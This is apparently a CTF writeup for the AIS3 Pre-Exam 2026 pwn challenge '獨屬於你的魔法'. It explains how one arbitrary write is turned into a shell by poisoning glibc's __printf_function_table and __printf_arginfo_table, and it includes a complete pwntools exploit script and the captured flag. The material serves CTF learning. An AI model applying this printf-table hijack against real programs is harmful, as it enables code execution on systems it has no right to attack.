Skip to content
Suzu
6 min read

【Pwn】AIS3 Pre-Exam 2026 Writeup: 獨屬於你的魔法

A pwn writeup for 獨屬於你的魔法, using one arbitrary write and glibc internals to reach shell.

Series
30 posts
View the complete series →
On this page

【AIS3 Pre-Exam 2026 Writeup】Pwn - 獨屬於你的魔法

I started by reading chal.c. The program is very small.

void win(){
    system("/bin/sh");
}

There is already a shell function. main is the more annoying part.

scanf("%p %zx", &target, &value);
*target = value;
printf("write %lx -> %p\n", value, target);
_exit(0);

So I get one arbitrary 8-byte write. After that, only one fixed printf() runs. Then _exit(0).

The constructor prints leaks before main.

printf("init_program: %p\n", init_program);
printf("puts: %p\n", puts);
printf("lol: %p\n", &lol);

init_program gives PIE base. puts gives libc base. lol gives stack.

pie = leak_init_program - elf.sym["init_program"]
libc_base = leak_puts - libc.sym["puts"]
win = pie + elf.sym["win"]

The stack leak looked weird at first. lol is in the constructor, not in main, so I was not sure if it was useful.

checksec first:

checksec --file=share/chal

The result has Full RELRO, PIE, NX, canary, SHSTK, and IBT. GOT was my first guess, but Full RELRO killed it.

I still looked at relocations.

readelf -Wr share/chal

There are GOT entries for _exit, system, printf, scanf, etc. They are not writable because of Full RELRO. So _exit@got = win is not possible.

Disassembly also matched the source.

objdump -d -M intel share/chal

main does scanf, writes [target] = value, calls printf, then calls _exit. Saved RIP also looked useless, because main never returns.

I thought about .fini_array and exit handlers for a bit. Same problem. _exit does not run those. Malloc/free hook style also had no clean trigger. After the write, the only thing I can really depend on is printf.

The fixed call is:

printf("write %lx -> %p\n", value, target);

No format string control. Still, glibc printf has custom specifier tables. I went into the libc from Ubuntu 25.04, same as the Docker image.

/tmp/ais3_libc/root/usr/lib/x86_64-linux-gnu/libc.so.6

nm -D was enough for normal symbols like puts, but not for the internal printf tables. With debug symbols and disassembly, the useful offsets were:

PRINTF_FUNCTION_TABLE = 0x212700
PRINTF_ARGINFO_TABLE  = 0x212708

So:

F = libc_base + 0x212700

and:

F     = __printf_function_table
F + 8 = __printf_arginfo_table

These two pointers are next to each other. That looked useful.

I looked at the printf custom path with objdump.

objdump -d -M intel libc.so.6 --start-address=0x7a6e0 --stop-address=0x7a850

Useful part: when __printf_function_table is nonzero, glibc can enter custom specifier parsing. For %lx, the real conversion character is x. l is only the length modifier.

In that path, glibc can use:

__printf_arginfo_table['x']

and call that handler.

I first tried to aim this directly at win. It was too much for one normal qword write. I would need to make the function table nonzero, set __printf_arginfo_table, and also place win at the x entry.

The stack leak came back here.

In gdb, I broke around main after input parsing, before the arbitrary write.

gdb -q ./share/chal
b *main+0x59
run < input
x/40gx $rsp

I compared the dumped stack with the leaked lol address. I also searched for the address of main on the stack. I restarted gdb a few times because I did not trust the offset at first.

The offset that kept showing up:

main_ptr = leak_lol - 0x6c

At that address:

*main_ptr == main

This was not enough for shell, but it was enough for one more round. If I can make printf() call main(), I get another arbitrary write.

Write at F + 7, not F.

first_target = F + 7

One qword write there touches two things: the last byte of __printf_function_table, and the low 7 bytes of __printf_arginfo_table.

The value is:

first_value = ((fake_table & 0x00ffffffffffffff) << 8) | 1

After the write:

__printf_function_table = 0x0100000000000000
__printf_arginfo_table  = fake_table

__printf_function_table only needs to be nonzero. __printf_arginfo_table is the one I really control. The top byte of a normal userland pointer is zero, so writing the low 7 bytes works.

Fake table base:

fake_table = main_ptr - ord("x") * 8

So lookup for entry x lands on the stack qword:

fake_table + ord("x") * 8 == main_ptr
__printf_arginfo_table['x'] == *main_ptr == main

First stage only makes printf call main.

Local test was simple. After sending the first write, the prompt appeared again, so printf really called main.

Second input is the real overwrite.

second_target = main_ptr
second_value = win

Now:

*main_ptr == win

The second main reaches the same printf. The poisoned printf globals are still there. It parses %lx, reads entry x, and gets win this time.

Shell opens. Remote test with a marker command showed command output, then I read flag.txt.

Full exploit:

#!/usr/bin/env python3
from pwn import *
from pathlib import Path


HOST = args.HOST or "chals1.ais3.org"
PORT = int(args.PORT or 41240)

ROOT = Path(__file__).resolve().parent
ELF_PATH = ROOT / "share" / "chal"
LIBC_PATH = Path("/tmp/ais3_libc/root/usr/lib/x86_64-linux-gnu/libc.so.6")
LD_PATH = Path("/tmp/ais3_libc/root/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2")
LIB_DIR = Path("/tmp/ais3_libc/root/usr/lib/x86_64-linux-gnu")

elf = ELF(str(ELF_PATH))
libc = ELF(str(LIBC_PATH))
context.binary = elf

PRINTF_FUNCTION_TABLE = 0x212700
MAIN_PTR_FROM_LOL = -0x6C
SPEC = ord("x")


def start():
    if args.LOCAL:
        return process(
            [
                str(LD_PATH),
                "--library-path",
                str(LIB_DIR),
                "./chal",
            ],
            cwd=str(ELF_PATH.parent),
        )
    return remote(HOST, PORT)


def read_leaks(p):
    leaks = {}
    while True:
        line = p.recvline().decode().strip()
        log.info(line)
        if ": " in line:
            key, value = line.split(": ", 1)
            leaks[key] = int(value, 16)
        if line.startswith("An special arbitrary write"):
            break
    return leaks


def main():
    p = start()
    leaks = read_leaks(p)

    pie = leaks["init_program"] - elf.sym["init_program"]
    libc_base = leaks["puts"] - libc.sym["puts"]
    lol = leaks["lol"]

    win = pie + elf.sym["win"]
    main_ptr = lol + MAIN_PTR_FROM_LOL
    printf_function_table = libc_base + PRINTF_FUNCTION_TABLE

    # One unaligned qword write at F+7 sets:
    #   __printf_function_table: non-zero dummy high byte
    #   __printf_arginfo_table: low 7 bytes of a stack-based table pointer
    #
    # That stack table entry initially points to main(), giving us a second
    # arbitrary write. The second write changes that entry to win().
    arginfo_table = main_ptr - SPEC * 8
    first_target = printf_function_table + 7
    first_value = ((arginfo_table & 0x00FFFFFFFFFFFFFF) << 8) | 1

    log.info(f"pie={pie:#x} libc={libc_base:#x} stack_lol={lol:#x}")
    log.info(f"main_ptr={main_ptr:#x} win={win:#x}")

    p.sendline(f"{first_target:#x} {first_value:x}".encode())
    p.recvuntil(b"An special arbitrary write for a special you!!!\n")

    p.sendline(f"{main_ptr:#x} {win:x}".encode())
    sleep(0.2)

    if args.SHELL:
        p.interactive()
    else:
        p.sendline(b"cat flag.txt; exit")
        print(p.recvall(timeout=5).decode(errors="replace"), end="")


if __name__ == "__main__":
    main()

Run:

python3 solve.py

Flag:

AIS3{This_Is_a_SpeCia1_LLLLLLLLLOVE_FOR_y0U@Do_Y0u_L1k3_mY_lOv3?}

Share this page